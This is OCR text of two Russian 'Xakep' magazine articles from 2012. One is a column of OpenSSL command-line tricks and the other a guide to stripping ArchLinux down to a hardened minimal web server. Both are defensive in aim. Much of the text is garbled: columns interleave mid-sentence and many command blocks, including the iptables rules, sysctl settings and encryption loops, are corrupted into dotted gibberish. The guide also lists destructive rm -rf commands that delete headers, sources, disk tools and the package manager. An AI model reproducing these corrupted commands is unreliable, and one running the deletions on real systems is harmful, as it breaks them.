SSL-сервера как такового еще нет, его легко эмулировать с помо
req, verify, са,
щью самого
crl, pks12, pks71; •
Такая команда позволяет измерить скорость установки
соединения с помощью различных алгоритмов шифрования, что
dsaparaml;
симметричное и асимметричное шифрование данных Iкоманды епс, rsautll; расчетхешей Iкоманда dgstl; работа с S/MIME Iкоманда s/mimel. Также
OpenSSL
может быть использован для проверки
SSL-
OpenSSL.
На серверной машине запускаем
OpenSSL-
сервер:
$ openssl s_server -cert mycert.pem -www На клиентской выполняем следующую команду:
серверов и клиентов с помощью специальных команд s_client/s_
server
и для тестирования скорости работы различных алгоритмов
Iкоманда speedl . Мы не раз писали о работе с пакетом
OpenSSL,
$ openssl s_time -connect myhost:4433 \ -www / -new -ss13
поэтому не будем
рассматривать стандартные примеры его использования вроде
КЛИЕНТСКАЯ СТОРОНА
создания хешей и сертификатов, а сразу перейдем к более серьез
Еще одна интересная команда
ным трюкам .
рая позволяет коннектиться к удаленным SSL-серверам для
OpenSSL -
это
s_client,
кото
их тестирования. Чаще всего я использую зту команду, чтобы
ВРЕМЯ
-
ДЕНЬГИ
Одна из интересных особенностей
проверить дату выдачи сертификата. Для этого следует про
OpenSSL
заключается в том, что
он может провести бенчмарк используемых алгоритмов и скорости
сто подключиться к удаленному SSL-серверу, дождаться, пока на экране появится информация о сертификате, а затем про-
> echo I openssl s client -connect www.google.com:443 2>/dev/null lopenssl х509 -dates -issuer -s ubject -noout notBefore=Oct 26 00:00:00 2011 GMT notAfter=Sep 30 23:59:59 2013 GMT issuer= /C=ZA/O=Thawte Consulting (Pty) Ltd,/CN=Thawte SGC СА subject= /C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com
>I Вычленяем нужную информацию из сертификата х509
ХАКЕР
021157/2012
113
UNIXOID
евгений 30бнин
> yes
12 .
I pV I ssh zobn i n(Qexecb i t . ru cat <=> 8МВ В:ВВ:В7 [ 131kB/s] [ 11
Тестируем скорость соединения с помощью
гнать его через всё тот же
SSH и
openssl,
> /dev/null
lexecbit.ruJ
ll
ро
чтобы вычленить даты . При
мощью одной простой команды можно обеспечить, например,
использовании одной команды всё это выглядиттак:
защищенную передачу файла по сети:
$ ..eJ;J19---' ... QР~JJ;;.~1 .. ;;_!:.l;i,.е!1.t ...:.С9rше.~j: .. \ ..........................._.......•.......... .... ..... www ...gQQgJ.е.•.с9JJ1.;.44.2 .. ~~jQеуjш,йJ ... I....l............ ................................ ..........QPe.IJ.;;.sJ .. xs.e~_ ..:.Q.<!.t~~ ...:.!J.QQJ,!1;............. IJ.Q.t/j.еfQr.(;!".Q!:.t....4б...е.е..:. е.е..:ее... 2.еJЭ, ...G1'1I. !J.Q1;.8f1;~г".$J:!Q .. .2е._~.2~ 5.~. :.2~....4еJ2 ...(jr1Т........ ................. _.........................
QI!1Рi;I.l;IшJJ9!!1~й$...сi!1; .. j ~tсj рj;I;;.s.w.Q ... I... QР.(;!. !1s.~1 .. .\ ........................................ _.........<!.~.S.c.4~.9.c.C.R.c....:.i!... c~....:.Pi!.sS... Р.<1S.ЕIJi!РQЛ~...J ... \ .................................. .._...... De1;.ci!t ...-.l ..=p ...!le.l:!.e......................_...... ........ ...... _........... [! Р.~!Jиt'1i!!9.L!шй$... !J.е1; C .<!.t...XQ.c.I.:.!!~!!e ..J ... Q.p.e,ns.~1 .. \ ........................................ .......... i!.!:!s. с2.$б.:.!:.R С .: .<1 ...:.Q... ср.i!.s.;;... Р.<! ~ S..:Лi! PQ!J.~...? ...P<!.~S.WQ............ .
Команду
s_client
можно также при менять для тестирования сер
вера на уязвимость, заключающуюся в использовании нестойких
•
Можно также при менять и различные скрипты, чтобы автомати
зировать шифрование множества файлов Iпароль в /tmp/passwd] :
алгоритмов шифрования:
.Ф ..I ...: f ..И . 1&.& . .l ................ ......QQе.r:1.~s.1...еJ)с ... с;;l.!:!.s. :. 2~б.:.J;.R!;... с s<!.Н ..=J!J... и .l ............... .......:.QI,!1;...$.f •..е!1.с....:.Р.<!.~s... jjJ~.;. f.tшр I.Р<!.~s.WQ... j ...QQD.e................ _............... .
$ .. fQГ... f. i.!1. .~ ...j $.. QP.e!1.~.sJ...~_cH~JJ1;....:.c9JJD.e!:.t..www .•gQQgJ!:!.•.!:9J.11;.#2. \ ..........:.!:Jp.b.er....~.QW ..................... _......................._.. _.............................................. . ш,J.ш;.с:п!).(ееш~е~е.~.) ............... _.. ...................._............ н.е2J ;ч5Jб.~е],5.f._:..еr:'гQ.с..:. :!А.е.z}.41е.:.$$J .. гQ~1;JГJ.еs ;.$.$L.~2_............. §JJ_$.~в.\(.Ея_I:!~JJ...Q.;.~s].-'!2 ...<11еrt ..hi!.о.Qs.h<!.k.е... fi!Jl.IJ.L~.;..S'n_ (!.д\: ....C..:.Q.2J:!.;...................................................................................................... Сервер, не поддерживающий нестойкие алгоритмы шифро вания, просто откажется устанавливать соединение, как это
и произошло в случае с сервером
Google .
Команда
s_client
..
Для расшифровки отдельно взятых файлов используем следую щую команду:
$...QР.еJ).s.~J....Еш.с....:.g._ =.<!.~.s = .f..~р.сJ;.Rс.:яJ1;... \ .......... ....:JГJ. .. ф.<1йл.•.еD.с ...:.QI,!1; ..jjJ!:!о.<!mе. .. \ ............. _....... ..........cP.i!.s.s.J i1e ;jp.<11;.bl.tQjpi\s.s.w.Q......... _............................................
также
довольно удобна для отладки различных протоколов Iв этом случае она выступает в виде SSL'HOrO Telnet] . Например:
ваться такой конструкцией:
$...op.eDssJ...~_c;Ij, ~JJ1;... c.~1;j,\rt1;J~... ~m1;p ..:.и'Jf .. \ ........... _........................... ......:.СQ!1Dе.~1; ...~m1:р. ,. gП!i!.~J ,.J;Qm;2.$..... .... _._ ................
$...1;.<!.г.... с ... К;;I.ыл9.[ ... I.. QР.~J).s;;J . .\ш.с ...:.<!.е~.:2.s.б.:.С-'К .. с.е... .\. ................. _.... . ...~....s!:!.Cr .e1;.•.1;.<I.t:.& IJ.C
ШИФРОВАНИЕ О шифровании с помощью
Для шифрования целого каталога проще , конечно , воспользо
ОрепSSL удобно использовать для генерирования паролей:
OpenSSL
не писал только ленивый,
поэтому мы остановимся не на самих принципах шифрования, а на том, как его можно использовать для вспомогательных
задач. Утилита командной строки как и все остальные команды
openssl
UNIX,
$... QQ!:!.о.;;.S.1._L.<!лQ... J:!._.:.R.<!Я.б4. .................... .
Q~Hqt\l~l.e;;y"
удобна тем, что она,
может принимать данные
А сгенерировать хеш для записи в /etc/passwd можно так:
на вход и имеет для них стандартный выход. В результате с по-
#... QQ~.o.~s.J, .. Р.<!.~.s.W.Q....:J .. Л!у.сs.(;!!;.г.!!.t.:Q<!.~~............ $1.$WblAl,lbQI...$y.~If.<!§w$.e:!..KB~$.(9)g~1 ТР.е_................................._................ _... .
> openssl speed Doing md2 for 3s оп 1Б size blocks: 275891 md2's in 2.98s Doing md2 for 3s оп Б4 size blocks: 140724 md2's in 3.00s Doing md2 for 3s оп 25Б size blocks: 47083 md2's in 2.97s Doing md2 for 3s оп 1024 size blocks : 12940 md2's in 2 .98s Doing md2 for 3s оп 8192 size blocks : 1Б72 md2's in 2 .99s Doing mdc2 for 3s оп 1Б size blocks: 1482845 mdc2's in 2 .99s Doing mdc2 for 3s оп Б4 size blocks: 39712Б mdc2's in З.00s Doing mdc2 for 3s оп 25Б size blocks : 101018 mdc2's in 2 .99s Doing mdc2 for 3s оп 1024 size blocks: 25292 mdc2's in 2 .99s Doing mdc2 for 3s оп 8192 size blocks: 3177 mdc2's in 3.00s Doing md4 for 3s оп 1Б size blocks: 8539Б41 md4's in 2.99s Doing md4 for 3s оп Б4 size blocks: ББ85195 md4's in 2.99s Doing md4 for Зs оп 25Б size blocks: 4042Б87 md4's in 2.98s Doing md4 for 3s оп 1024 size blocks: 1554888 md4's in 2.99s Doing md4 for Зs оп 8192 size blocks: 232051 md4's in 2 .99s Doing md5 for 3s оп 1Б size blocks : Б28301Б md5's in 2 .98s Doing md5 for 3s оп Б4 size blocks: 48Б3942 md5's in 3.00s Doing md5 for Зs оп 25Б size blocks: 2811Б3Б md5's in 2.99s Doing md5 for Зs оп 1024 size blocks : 104Б145 md5's in 2 .99s Doing md5 for Зs оп 8192 size blocks: 152957 md5 ' s in 2 .99s Doing hmac(md5) for 3s оп 1Б size blocks : I Тестируем скорость алгоритмов с помощью команды
"Io
speed
Кстати, кодирование в
base64
может пригодиться для отправки
файлов, если двоичная передача данных не поддерживается :
$...t;:l.r. ...:.!;... ~.<!.I.aJ!.QcJ ...g.:?:.j,P....:.9... J ...QP.!:!DSSJ .. eD(;.. \ ....... ..........:.R;;I.~~.R4_. >... 1;.!:!х.1; =.П!~.s.s.аgе., t
х1; . ................... _..... _.. _.. ............................ .
Возможность генерирования случайны х данных можно исполь зовать для создания фиктивных МАС-адресов :
$ .. Pp.e.!l.S.~J ..r.<1DQ... =Dе Х .. б..J ....\. ......... .. _......~.eQ ...•..s/.\( ..... .\ 1L.\1.~ Lf!,; ... si .•.$I.I..' ............_....... _... _ n;.~.е .:~б;.f.c:t.:..$<!. :.~.~ ..
................ _... ..........................
':I§I:I.,(W Когда речь заходит о таких развитых, проверенных временем
и широко при меняемы х инструментах, как
OpenSSL
и
OpenSSH,
юниксоиды незамедлительно начинают приводить десятки приме
ров их использования EI повседневной жизни . Иногда эти примеры кажутся простыми и обыденными, но иногда просто поражаешься на х одчивости разработчиков и пользователей этих программ.
ХАКЕР
:::J:
02/157/ 201 2
ОТ&ОРН bl Е · п родукты
СО ВСЕГО МИРД* Мы знаем , где в мире найти самые лучшие продукты . Вы знаете , что можете найти их рядом , под маркой
TASH
SYN/ACK
Евгений Зобнин
lexecbit. rul
ече ное зание ДЕЛАЕМ
МИНИМАЛИСТИЧНЫЙ LINUХ-ДИСТРИБУТИВ ДЛЯ КОНКРЕТНОГО СЕРВЕРА
Безопасность и надежность программной системы
обратно пропорциональны ее сложности. Но к современным
Liпuх-дистрибутивам эту
-
Хорошей практикой БУАет установка
утилиты
rkhunter,
которая сверяет
контрольные суммы системы ,
формулу применить довольно
чтобы выявить факт МОАификации файлов .
проблематично, так как, по
Чтобы запутать
общепринятому мнению, они
УАалить комаНАЫ
безопасны сами по себе. К сожалению, это не так, но в этой статье я расскажу и покажу, как
сделать
Linux действительно
взломщика, можно
uname и dmesg. переименовать ядро и внести соответствующие
изменения в /boot/
grubImenu.lst. то есть « обезличить»
Аистрибутив.
простой и очень'уСТОЙЧИВОЙ к взломам системой .
116
ХАКЕР
02/157/2012
Лечебное обрезание
ащиту операционной системы принято строить послойно. Первый , внешний слой отвечает за взаимодействие ОС с внешним миром, то есть зтот слой составляют сетевые сервисы, которые слушают определенные порты и отвечают на
запросы клиентов. К таким сервисам относятся любые демоны,
способные принимать сетевые сообщения, например сервера, сервер
ON5,
web-
и
ftp-
почтовый сервер и т. д . Защиту этого слоя
обеспечи вают программисты, которые следят за безопасностью кода , и администратор, своевременно накладывающий заплатки и правильно конфигурирующий сетевые сервисы . Второй слой, или рубеж обороны,
-
зто сама система, которая не должна по
зволить взломщику добраться до конфиденциальных данных или изменить важные системные файлы в случае нарушения границ первого слоя .
В идеале второму слою защиты нужно уделять не меньше
МНОГИЕ ДИСТРИБУТИВЫ ПО УМОЛЧАНИЮ ВКЛЮЧАЮТ В СЕБЯ СРЕДСТВА СБОРКИ
ПРИЛОЖЕНИЙ, РАЗЛИЧНЫЕ ИНСТРУМЕНТЫ, КАЖДЫЙ ИЗ КОТОРЫХ МОЖЕТ ИСПОЛЬЗОВАТЬ ВЗЛОМЩИК
внимания, чем первому, однако многие сисадмины пренебрегают э тим, предпочитая полагаться на разработчиков дистриб ути-
ва , которые якобы уже позаботились о надежной защите с воих
Все остальные компоненты типичного сервера, такие как
продуктов . Это, конечно же, не так. Современные дистрибутивы
FТP -cep Bep,
-
меньше в системе лишних се рвисов , тем меньше шансов у взлом
э то универсальные операционные системы, рассчитанные на
применение в самых разных областях и на решени е различны х
sendmail,
и прочую шелу ху можно выкинуть. Чем
щика .
задач . В них входит множество компонентов, которые соз дают
потенциальную опасность и при зтом вряд ли когда-нибудь тебе
ЧАСТЬ
2.
ПОДГОТОВКА КАРКАСА
понадобятся. Многие дистрибутивы по умолчанию включают в
Существует множестВо способов собрать собственный дистрибу
себя средства сборки приложений, различные сетевые и диагно
тив в домашних условиях, но все они требуют времени и терпе
стические инструменты, каждый из которых может исполь зова ть
ния. Мы поступим проще: возьмем обычный Liпuх-дистрибутив
взломщик.
и вырежем из него все лишнее. На роль подопытного хорошо
Самый верный способ обезопасить сервер в зтой ситуации зто самому создать дистрибутив, ориентированный на решение конкретной задачи и лишенный все х те х компонентов, которые взломщик может использовать для получения сведений о систе ме, повышения с вои х прав или установки бэкдора.
п о дойдет
ArchLinux,
один из самых просты х и легких дистрибу
тивов [ты, конечно, можешь выбрать что-нибудь другое вроде 51ackware или Gentoo, но сути зто не поменяет). Получить базовую версию ArchLinux можно, например, с сервера Yandex [прямой линк на х86_64-сборку: http://goo.gl/EZRtQ ). По сле за гру зки 150-0браз следует скормить виртуальной машине и
ЧАСТЬ
1. ПОСТАНОВКА
ЗАДАЧИ
ус тановить дистрибутив на виртуальный жесткий диск. Проблем
И так, мы решили сделать свой профильный дистрибутив. Пре
во время установки возникнуть не должно : запускаем инсталлятор
жде всего мы должны определиться с функциями, которые будет
командой /arch/setup, выбираем «5elect 50urce», жмем <Enter>, вы бираем « Ргераге hard drive[s» >, в ответ на все вопросы жмем <Enter>,
выполнять ос. Здесь можно придумать массу вариантов, но я предлагаю остановиться на самом ра с пространенном: дистрибу
тив для web-сервера. Наш будущий дистрибутив будет отвечать за х остинг web-сайтов , причем не статических, а написанных с
использованием фреймварка
Orup al?
Ojango . Почему не PHP+Ojoomla/
Да потому, что я их не люблю!
Таким образом, в дистрибутив должны входить как минимум пять сервиса в:
в последнем окне выбираем ФС ext2. Далее «5elect Packages», <Enter> в ответ на вс е вопросы . Затем выбираем «Configure system», жмем <Enter>, в следующем окне выбираем Оопе. Выбираем «I nstall bootloader», выходим из редактора, а когда получаем предложение изменить /boot/grub.conf, жмем <Enter> и, наконец , «Exit install».
Перезагружаем машину [не забываем отключить 150-0браз) . После установки системы и за грузки виртуальной машины
1. Сам web-сервер [к черту Apache, nginx - наше все) . 2. Дистрибутив Python, который будет отвечать за работу Ojango. 3. Ojango, на котором будут написаны саЙты . 4. Postgre5QL, которая будетхранитьданные .
заходим в систему под учетной записью гоо! [пустой пароль) и
5.
поэтому обычно достаточно только запустить ОНСР-клиент:
55Н для удаленного управления.
начинаем разбираться с содержимым системы. Прежде всего не
обходимо об новить все ее пакеты . Но сначала следует настроить сеть. Нормальные виртуалки имеют встроенный ОНСР-сервер,
,
!t"!lt;;4Ч9
э
Ь
Set cloc. rl"ep.re Jaar4 ... lveCa) se lect '.с....е. 1•• t.1I ..с ....еа
7
Со'" I . .
4 5 в
9
Загрузка
ХАКЕР
ArchLinux
02/157/2012
re .".tn
In.t.1I lюatl0А4еr Exlt 1•• UIl
Главное окно инсталлятора
117
SYN\ACK # dhcpcd eth8 Теперь, чтобы указать менеджеру Растап на нужный репози
торий, добавляем в файл /etc/pacman.d/mirrorlist две строки: ~erver = ftp://mirror .. yandex.rujarchlinux/$repojos/$arch Server = http://mirrQ.r .. yandex. ru/archlinux/$repo/ os/$arch
Use tlle U•••4 JOIIII .r....... to ..... I,.te ...tt08S .04 IllТEB to select.
, 3 1 5
RDUS.
Use
ТАВ
to _l tch lletweeo
. . . " art t oll.r lues "".... Н" Co.... I........ lock 4e.. lces. rlles"ste_ .n4 "01l1tpolots Во11мс" Вetllr.
1.8t С11е_Ц. to ""1......
с ...... еа
("001 40n't
"ее4
to 40 thls)
и запускаем процесс обновления:
#
расmап
-Syu
Возможно, при первом запуске обновится только сам Растап. В этом случае следует выполнить команду второй раз. Далее устанавливаем необходимые для функционирования сер
вера компоненты. В моем случае это пgiпх, Python, Django и
в окне, предлагающем варианты разбивки диска, следует выбрать весь диск
PostgreSQL :
# #
расmап
расmап
-R cryptsetup device-mapper lvm2 mdadm \ xfsprogs jfsutils reiserfsprogs
-S nginx python2 django
Далее можно избавиться от неиспользуемых инструментов
Запоминаем, какие зависимости были установлены в про
цессе (чтобы ненароком не удалить их на следующем этапе
управления сетью и связанных с ними библиотек и зависимостей:
ковыряния). У меня получилось всего четыре зависимости: libffi, postgresql-libs, libxml2 и sqlite3, но ее как раз можно удалить,
#
расmап
-R iputils keyutils krb5 heirloom-mailx ррр \ wget dbus-core wpa_supplicant libpcap libnl libldap
поскольку есть Постгрес. Делаем снимок состояния диска вирту
альной машины (это очень важно) . При необходимости выключа Различные утилиты для управления USВ-оборудованием, PCI-
ем ВМ, делаем снимок и снова включаем.
Теперь мы должны удалить все лишние пакеты. Для начала
и РСМСIА-устройствами на сервере нам тоже не нужны:
выясним, что вообще сейчас установлено:
# #
расmап
расmап
-R usbutils pcmciautils sysfsutils
-Qs Также можно избавиться от некоторых оставшихся библиотек :
Список не такой уж и длинный, но больше половины из всего вышеперечисленного нам точно не нужно. Во-первых, мы долж
#
расmап
-R libpipeline libsasl libgcrypt libgpg-error
ны избавиться от инструментов сборки. По умолчанию в Арче нет
GCC, но зато есть пакет binutils, который содержит линковщик, архиватор статических библиотек и другие инструменты:
#
расmап
На этом процесс подготовки закончен , и мы можем пере х о дить к основной задаче.
ЧАСТЬ
-R binutiLs
3. РЕЖЕМ
ВСЕ. ЧТО УШЛО из-под НОЖА
Мы удалили только малую часть того, что не потребуется на Далее удалим ненужные пакеты, например документацию и
сервере, однако другие пакеты и зависимости дистрибутива
mап-страницы:
также содержат множество ненужных библиотек и утилит. Сей
# расmап -R licenses .groff man-db man-pages texinfo
лишнего .
час мы пройдемся по системе и попробуем избавиться от всего
А лишнего много. Например, ArchLinux не разделяет пакеты Избавимся также от инструментов управления различными
на -dev и бинарные, поэтому каталог /usr/include содержит в себе
файловыми системами и настройки RАID-массивов. Те из них,
множество совершенно бесполезных и даже опасных заголовоч
которые могут быть нужны на сервере, оставим на месте:
ных файлов. Избавимся от ни х с помощью следующей простой команды :
# rm -rf jusr/include По той же причине каталог /usr/lib содержит большое коли
ХАКЕРЫ ОЧЕНЬ
чество статических библиотек, которые не нужны для работы
ЛЮБЯТ ИСПОЛЬЗОВАТЬ РАЗЛИЧНЫЕ УТИЛИТЫ
ДЛЯ МАНИПУЛИРОВАНИЯ РАСШИРЕННЫМИ АТРИБУТАМИ
системы, но могут быть использованы для сборки софта. Удаляем их:
# rm /usr/lib/*.a В каталогах /Ып, /sbin , /usr/bin, /usr/sbin имеется множество утилит и команд, которые были установлены как часть других па кетов, но сами по себе могут нанести вред серверу. В качестве при
ФАЙЛОВОЙ СИСТЕМЫ,
файловой системой и таблицей разделов, утилиты для управления
ПРАВАМИ
работающем настроенном сервере пользы от них не так мног о .
118
ACL И
Т.П.
мера можно привести различные утилиты для манипулирования
расширенными атрибутами файлов, создания пакетов и т. д. На
ХАКЕР
02/1 57/2012
Лечебное обрезание
Для начала избавимся от низкуровневых утилит управления
# rm Jusr/sbinfcJlCQn
файловой системой:
На этом можно было бы остановиться, но Арч по умолчанию
# rm /sbin/{badblocks,debugfs,dumpe2fs,e2image,e21abel, ~
содержит набор инструментов
e2undo,resize2fs,tune2fs}
некоторых (весьма полезных, кстатиl модулей РАМ, но при этом
cracklib,
который необходим для
может быть использован для взлома паролей. Его, естествен н о, Теперь удалим инструменты управления таблицей разделов.
лучше удалить:
Вряд ли взломщик будет их использовать, но чем черт не шутит :
# rm /usr/sbinj~racklib* # rm -rf /usrjshare/{cracklib,dict}
# rm /sbin/{fdisk,cfdisk,sfdisk}
В завершение удаляем менеджер пакетов. Да-да, все что
Также можно избавиться от утилит для создания файловых
нужно мы уже установили, а для обновления дистрибутива будем
систем и swар-разделов:
использовать метод, приведенный в конце статьи .
# rm /sbin/mkfs.* # rm /sbin/mkswap Заодно удалим
dd
и
# # # #
in5tall :
rm /usrlЬiп/р~сщап* rm /usrjbin/m<!kep)<g rm /еtс/расm<!л* rm -rf /var / C<ic.iJe/pacman
# rm /bin/{dd,install} Ну и подчистим разные ненужности. Например, удалим фай Теперь самое важное. Хакеры очень любят использовать раз
лы, требующиеся для сборки образа
initrd:
личные утилиты для манипулирования расширенными атрибу тами файловой системы, правами
ACL,
файловыми
capabilitie5
# rm -rf
/lib/init~piQ
для защиты своих файлов от удаления/модификации или для де легирования приложениям расширенных прав доступа. Многие
Уберем из системы ненужные каталоги:
админы могут даже не знать обо всех этих методах, поэтому они пользуются особой популярностью . К счастью, мы можем защи
# rm -rf /media /opt /usr/local
тить себя от подобных махинаций, просто удалив такие утилиты
(вообще-то, они распространяются в отдельных пакетах, но кро ме самих утилит эти пакеты включают в себя еще и библиотеки,
Удалим ядро с отладочной информацией (вместе с каталогом
/U5r/5rcl:
необходимые для работы других нужных нам софтинl. Итак, избавляемся от утилит управления мандатными права
ми доступа (пакет
# rm -rf
/usrjsrc~
acll: Теперь, когда мы изба вились от лишнего софта, можно
пройтись по каталогам /Iib /U5r/lib и удалить неиспользуемые библиотеки (вряд ли их будет много, но лучше сделать этоl. Спи
# rm /usr/bin/{chacl,getfacl,setfacl} Далее удаляем утилиты для манипулирования расширенными
сок нужных библиотек можно получить с помощью следующей
атрибутами файлов (пакет attrl:
команды:
# rm /usr/bin/{chattr,lsattr,getfattr,setfattr}
# find Ibin jsbj.n jusr/bin /usr/sbin
И конечно же, утилиты управления capabIities (пакет libcapl:
1\
xargs ldd 1 EreR '\.so' 1\ cut -d' 'cf... JJsed 's/Л[ \tJ*//'J\ .......... _...... _.... sort 1 uniq ..
# rm jusr/sbinj{getcap,se.tc;lp} Также отправим в /dev/null утилиту для изменения контекста
библиотеки можно смело удалять.
безопасности:
Список зависимых библиотек можно получить с помощью
ХАКЕР
02/157/2012
Его можно сохранить в файле и с помощью команды diff срав нить с выводом команды «15 -1 /Iib /u5r/lib ». Все не совпадающие
Idd
Устанавливаем нужный софт
119
SYN\ACK ЧАСТЬ
4. НАСТРАИВАЕМ
СЕРВЕР
Настроим брандмауэр так, чтобы открытыми оставались толь
Теперь у нас есть система, очищенная от х лама, но к работе она
ко порты
22 и 80 [SSH и НТТР!:
пока не готова . Сейчас мы должны настроить сервер, то есть
ngin x,
Постгре с,
Django
и другие компоненты. Как это сделать,
я рассказывать не буду, все уже описано до меня. Скажу только, что корнем веб-сервера и Djапgо-проектов следует сделать какой-нибудь каталог в корне файловой системы, например
/www [в нем можно создать два каталога: http - с татика и django - скрипты!. Это необходимо для того, чтобы в дальней шем со строгими ограничениями смонтировать для каталога
отдельный раздел. Чтобы все работало , выполним базовую настройку системы
и добавим в автозагрузку
nginx
и остальные демоны.
ArchLinu x
не делает это автоматически, позтому придется править /etc/ гс.соп! :
1t ...(:Т!!!:I.д.<J.Р.тН.а!!... D.R!.I.!Пи.к.i!............................................................................ j,.Р.t.,Ii;>JЕ'!.~ ....:l'...INР.I,II . RJш.Р.......... .. ................... .. ........ _ ...... .. j, p,t.aЬ :).J~.~ ... :А .. JNР.uJ ...:.i ..1R... с j ...I\~ц.P.J ..... ............ . 1t.. J:lеб.RJ!!?UJа.!!...".а.!!l~Та...QI....QR.5. ...................... j,.Qt.i;I Ь). E'!.~ ...cA.. JNJ'!JJ... с R..,tc:.P...: m...t.C.P ...:..-.t.<::.Р.с.f!.i;I. g~. .~ ........ $.'(N.,Ас;К,.ЕI,N,я.$.I.. я.5.I ...:.m . JJm.Н....:.: Jj,mit..J/ s - j .f!.(:.Cf.PT 1t... Р.~эРе.ш.<lе..М.. J1)!(е.. У..r;.I.<I.I:I.Q .В.лЕ'!. !iJ:!~.е...r;.9.~д~J:!е.t!!1.!!...... . ;i,p.t .i;lble.!; .. ~iI, .. JHP.U.I ...: P....i;lJJ...c.m. .. ~.t.<lte. .. с. - st<!t.e.... \ .... RЕ:~..l\П.Q>.~.:iIМ! ~.I$ш.R....: j ...I\~ч.Р.I ........................ . #.. Н.ащ.М ..!1QPT~........................................................................... j,p,tabJg~...:.A.. J.NP.\.II ...:.i... ~.tM... :R..,tc:.P...: :.cJP9.r:t... ,22,. c j.l\~.(:E.PJ i.рt.,фlеs ..:.I\...INPUJ....:J ..gtbl;l...: P.. tr;.P... :. ~ QРQг.t...а.е ...-j.. .АСцРТ..
H.Q:iJN.I\r1~.=. ".e.~ampJe..•.!;.Qm.:· ....
1t .. .Р.а.зР.еw<l.е.М... !:I.е.I(QТ:QР~.е. .. д.r1Р. : r;..Q.о..q.l!lени.!1 ............... . j,Рtар.~!i!.~... ~.I\.. JNР.!П... ~J...gtЬ~ ...:.Р.. ;i.сmR... ~m .. Jс:.mр... \ .... ..
#. .. НаСТР9Я!S.а ...С~.I.е.!I.Q[.Q...~.НI.Е'!РtI>е.Яса.... ........................
i.R!:.,фJ.еs ...: ..l\.. JNР.I.!Т....:J ...е.:t!!.е
IСИ",я . х9.!;Та........................
j,D.);~. r:,fi!.c.e..::~J.b!')....................................................................................... ;cHj.Qr.E'!:; ~'".1.•.2.•.J ..~........................................................................................................ n.е.);J!щ~~=.2.:i.~ .•.z55 . ).~5.•.f)............. . br.Qag.<::.a~.);.::1.,,2,. 3 .:'1, ................. ... .................... . ..................... ga);e.wa}'::J •.2.•.J .A ............................................. .
.. ... :.:.i.сmR:,tу.р~ ...3....-.j .. .iК~JР.Т........................ .. ..:.p... i.r;.mp...clJ1 .J .<::.mR..\ ....................... ..... :.с.i.сm.р:,tУ.р.е. ...ц ...: j ...AC.~.Ei>J. . .................. . . j,P.ti!P. !е:;....:.А .. J.NРJП ...:,!... е..t!!.е ...: P.. Jc:.IJ1P....:m.. .i.~.mP ... \ . ...:.:i.r;.mp.::.tJlP.e. ..J2. ...:.j,.ACc.~PT............................................ и последняя, но очень важная настройка: запрет на выполне
ние системных действий после окончания загрузки дистрибутива.
!t.. Jа.[]У.!; .К.а.е.МJ>!~.. ЛР.Iot... П.<J.lпе.... СЖЛ~М.Ь! .. .д.Е'!М9.НJ>! ................................. RА~r1Q~:i=.(!!~К:)..Q.<::.k ...~У.~J9Е.:пg.л.Е'!J\i.Qг.~ ...с.r:Q[Н:1... РQ~.t.r~.~!1), .. ngim,,) .. Для индивидуального запуска/остановки демонов можно ис пользовать скрипты каталога
/etc/rc.d, например:
#.. /et.c:f.r.!;.•.g/ngj,.IJ.~ .. r.e.~Jpr::t..................................................................... .. Далее мы должны предпринять некоторые меры по обеспече
#... е.. с Ь О.. .' .е. <::.09.. $.cce1(fH.ff.f.f .f... ~.. .(J .. ~.~ . ]. б)) ) .... ~ .. \ .. ...... .I.РгR.с/я.~l!<.еLQе..lLч.Р.сJ~'О!Jл!:1. ·_ ..~ ?J.е.1; .<::.I.r.c:.•.1,.щ а 1.... _ .......... . 1t: ...е.сhR .. · .е..фQ. $_сс ~.~ff.f.f.ffff....л... Н .. 5.~ ..]J! »))... ~... \ ..................... .. ..iрrр.сL.;,У.;,д.егл.Е'!J.l~.<lр.с. Q.Q.uГ!.Q.' ._;» .JЕ'!.t.с/rс:.,. :)..9c:~:). ...................... !t...e.<::op ... ·ec!!.Q...$UI;l~ff.fffff.f ..~ ...O....~cl~).)J ... ;>....\ .......................... . ...... j рrQ(:j~уs.l.ls.g.rо.е.Jj.с.<!Р ~.Qо.\ш.g.: ... ?;>.j~:t cf.r:.C:.,JRc aJ .......... #... e..c.h,9 : е..фR. $.U !')",.fff.Т:f.f.f,f ...л. .. (1...S.5 . 2:I,}l}.. ~. \ ............._ .... ...... Jpr:,9cI~.Y.s. /ke..rn.e.JIc.i!.p .: .b9.YlJ.g. · ....?? .. L.e.t. ~jr..c .•J9c.aJ............. ..
нию внешней безопасности сервера. Статья, конечно, не об этом, но о базовой настройке рассказать все же стоит. Во-первых ,
Эти строки добавляют в ядро после загрузки ограничения
установим пароль для рута:
на загрузку модулей [для защиты от бэкдоров и рут китов!, на
It.. pa.~. ~.wg ....................................
то есть на трассировку процессов, и на различные системные
выполнение системного вызова
chroot,
на выполнение
ptrace,
действия, например на монтирование файловых систем и под Во-вторых, заведем непривилегированного пользователя:
ключение
swap.
Пока система не будет перезагружена, отменить
ограничения не сможет никто. включая
root.
#... Y.~ e.r.a.gg...ya.~.Y.a ..................................................................................... В-третьих, отключим гооt-логин по
SSH: Все, теперь у нас есть минималистичный Liпuх-дистрибутив ,
#... ~.!;.h.9....:1'~г:mН.RQR,t.~.Qgj,D . ЛQ. '.... ~.. .I~t.С/.~~.0/~.~.h.Q_cQQjjg......... #.. .f.E'!t.c:f.r:.<::.,.J:1.f.~. ~.hg... L.e.~.t.ar1; .......... ................................ Теперь отредактируем
sysctl.con!,
выполняющий строго определенные функции, но как установить
чтобы применить несколько
классических те хник защиты:
#....ОТ!S@'!<J.е.~ ...ф9РВ.ар.ill1.!:I.r. ..лаJ~е..I.Q !I.... ....................... ........................ Iщt .•J P.\!~.·.Jp_f.QL.w.<J.r:.(J....::...e........................................................................._ ..
